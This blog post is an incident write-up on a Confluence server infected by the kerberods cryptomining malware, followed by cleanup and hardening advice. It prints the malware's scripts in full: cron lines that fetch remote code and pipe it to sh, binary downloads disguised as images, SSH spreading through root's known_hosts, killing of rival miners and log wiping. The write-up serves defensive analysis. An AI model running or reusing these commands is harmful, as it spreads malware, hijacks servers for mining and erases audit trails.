Intro

A few days ago, a client contacted us with the problem of 502 error on their Atlassian Confluence instance. They are running their own instance of Atlassian Jira and Confluence, that are not updated regularly, despite out best efforts to motivate them to do so.

As good sysops do, we hit the helicopter and dropped into the issue by ropes (as freaking commandos). Basically you quickly lear how dependant the client is on the software, when it does not work.

This is the story of digging deeper…

Symptoms

Error 502 (Bad Gateway) when accessing Confluence instance.
High CPU usage
Unknown crontab runs in syslog.

syslog.1:Apr 15 15:40:01 jira CRON[14553]: (confluence) CMD ((curl -fsSL https://pastebin.com/raw/wR3ETdbi||wget -q -O- https://pastebin.com/raw/wR3ETdbi)|sh)

Confluence Security Advisory - 2019-03-20

Modus operandi

The cron job we have mentioned earlier in the symptoms section runs another curl/wget process. I believe that this intermediate script is to ensure they are not caught because of the higher payload of the next part. The script makes sure the execution is silent, without any output and even to follow redirects on the url.

(curl -fsSL https://pastebin.com/raw/Zk7Jv9j2||wget -q -O- https://pastebin.com/raw/Zk7Jv9j2)|sed -e 's/\r//g'|sh

The script

Source

Export the classic paths in case the exploited user does not have them set up.

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

Create the /tmp directory and set up the usual permissions in case it does not exist.

mkdir -p /tmp
chmod 1777 /tmp

Make sure the script is run in cron every 15 minutes.

echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -

They really don’t want any competition, so kill all similar malware of other authors.

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9

Test if any funky directory is writeable and clean up afterwards.

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

If this is our first run (file .XIMunix does not exist), or some cleanup was done by system administrators, create malware, make it immutable using chattr and make sure you can’t delete it.

export PATH=$PATH:$(pwd)
if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
    chattr -i kerberods
    rm -rf kerberods

Check system architecture to proceede.

    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640288x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
    elif [ ${ARCH}x = "i686x" ]; then
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    else
        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555640362x2890149721.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
    fi

Run the obtained malware, notice the name, very similar to kerberos, a legitimate network protocol. The script just brute forces the malware location.

        $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
fi

Try to spread the malware around, if root user is exploited (known_hosts and public key are readable), connect to all hosts by using the read key and try to run again on that machine.

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
fi

Clean the logs to avoid detection.

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

Crypto mining

Another /tmp/def1.sh

contains:

wget https://raw.githubusercontent.com/aidamisa/aika/master/125.tmp -O /tmp/tempdb
chmod +x /tmp/tempdb
/tmp/tempdb

Another /tmp/rc9

contains:

#!/bin/sh
export no_proxy="139.99.120.75,132.148.148.79,132.148.148.79,139.224.20.173"
#ps aux | grep -v root | grep -v python | grep -v perl | awk '$3>10.0{print $2}' | xargs kill -9
ps aux  | awk '$3>10.0{print $2}' | xargs kill -9
pgrep -f ./atd|xargs kill -9
ip="http://132.148.148.79/plus"
rm /tmp/.dba
mkdir /tmp/.dba
Check() { curl -sSLkf $1 -o $2 || wget --no-check-certificate $1 -O $2 || python -c "import urllib;urllib.urlretrieve('$1', '$2')";};
Check "$ip/java" "/tmp/.dba/dblaunchs_0xBB040";
Check "$ip/javad" "/tmp/.dba/dblaunchs_0xBB041";
Check "$ip/java2" "/tmp/.dba/dblaunchs_0xBB042";
Check "$ip/java3c" "/tmp/.dba/dblaunchs_0xBB043";
#Check "$ip/javas" "/tmp/.dba/libxmrstak_opencl_backend.so";
Check "$ip/javacj" "/tmp/.dba/config.json";
Check "$ip/javacf" "/tmp/.dba/config.txt";
Check "$ip/javacp" "/tmp/.dba/cpu.txt";
Check "$ip/javapo" "/tmp/.dba/pools.txt";
chmod 755 /tmp/.dba/dblaunchs_0xBB040
chmod 755 /tmp/.dba/dblaunchs_0xBB041
chmod 755 /tmp/.dba/dblaunchs_0xBB042
chmod 755 /tmp/.dba/dblaunchs_0xBB043
#chmod 755 /tmp/.dba/libxmrstak_opencl_backend.so
chmod 755 /tmp/.dba/config.json
chmod 755 /tmp/.dba/config.txt
chmod 755 /tmp/.dba/cpu.txt
chmod 755 /tmp/.dba/pools.txt
cd /tmp/.dba/
ORG=$PATH
export PATH=/tmp/.dba/:$PATH
dblaunchs_0xBB040 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB041 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB042 2>/dev/null >&- <&- >/dev/null &
dblaunchs_0xBB043 2>/dev/null >&- <&- >/dev/null &

export PATH=$ORG
sleep 10

dblaunchs_1=$(ps aux | grep -v grep | grep dblaunchs_0xBB040 | awk '{print $2}')
dblaunchs_2=$(ps aux | grep -v grep | grep dblaunchs_0xBB041 | awk '{print $2}')
dblaunchs_3=$(ps aux | grep -v grep | grep dblaunchs_0xBB042 | awk '{print $2}')

if [ $dblaunchs_1 -gt 1 ]; then
    kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
    rm -rf /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs_0xBB042
    mv /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs
fi

if [ $dblaunchs_2 -gt 1 ]; then
    kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
    rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB042
    mv /tmp/.dba/dblaunchs_0xBB041 /tmp/.dba/dblaunchs
fi

if [ $dblaunchs_3 -gt 1 ]; then
    kill -9 $dblaunchs_1 $dblaunchs_2 $dblaunchs_3;
    rm -rf /tmp/.dba/dblaunchs_0xBB040 /tmp/.dba/dblaunchs_0xBB041
    mv /tmp/.dba/dblaunchs_0xBB042 /tmp/.dba/dblaunchs
fi


export PATH=/tmp/.dba/:$PATH
dblaunchs 2>/dev/null >&- <&- >/dev/null &
export PATH=$ORG
sleep 15

rm -rf /tmp/.dba/dblaunchs
rm -rf /tmp/.dba/dblaunchs_0xBB043
rm -rf /tmp/.dba/config.json
rm -rf /tmp/.dba/config.txt
rm -rf /tmp/.dba/cpu.txt
rm -rf /tmp/.dba/pools.txt
rm -rf /tmp/.dba/libxmrstak_opencl_backend.so
rm -rf /tmp/rc6
rm -rf /tmp/rc7
rm -rf /tmp/rc9
rm -rf /tmp/open
rm -rf /tmp/ng
ps aux | grep -v grep | grep "curl"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "curl"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9

ps aux | grep -v grep | grep "wget"|grep "/plus/nx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/kok"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/wow"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/rc7"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "wget"|grep "/plus/fxx"| awk '{print $2}'| awk '{if(NR!=1) print }'| xargs kill -9

ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/nx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/kok"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/wow"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/rc7"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9
ps aux | grep -v grep | grep "urlretrieve" |grep "/plus/fxx"| awk '{print $2}' | awk '{if(NR!=1) print }'| xargs kill -9

Cleanup

Reinstall possible

This is the safest way, as in most cases we can’t really be sure what was compromised.

Spin up a new server.
Install latest Confluence version.
Restore from the backup.
Change passwords for database, SSH keys,…
Decomission the old machine.

Thanks to reddit user cr0ft.

Reinstall impossible

Update Confluence.
Delete crontab entries for the compromised users. Look for /var/spool/cron/crontabs/username file and delete it. Alternatively, switch to user, use crontab -e and delete the wget/curl entry.
Kill the processes that use all the CPU. Usually /tmp/khugepageds and {kerberods} [kerberods].
Clean up the /tmp and other infected directories directory. You can use LSD Malware Clean Tool.
Change passwords for database and user accounts, SSH keys,…

Mitigation and good practices

Do not run software as privileged user (root).
If possible, split services between multiple user accounts.
Do not store SSH keys on the server, to connect to other servers.
Follow the security advisories and regularly update your operating system and all software.
Uninstall unneeded software.
Monitor the server and check log files automatically.

Ignoring Atlassian Confluence Security Advisories?

PUBLISHED ON 19/04/2019 — EDITED ON 11/12/2023 — INFOSEC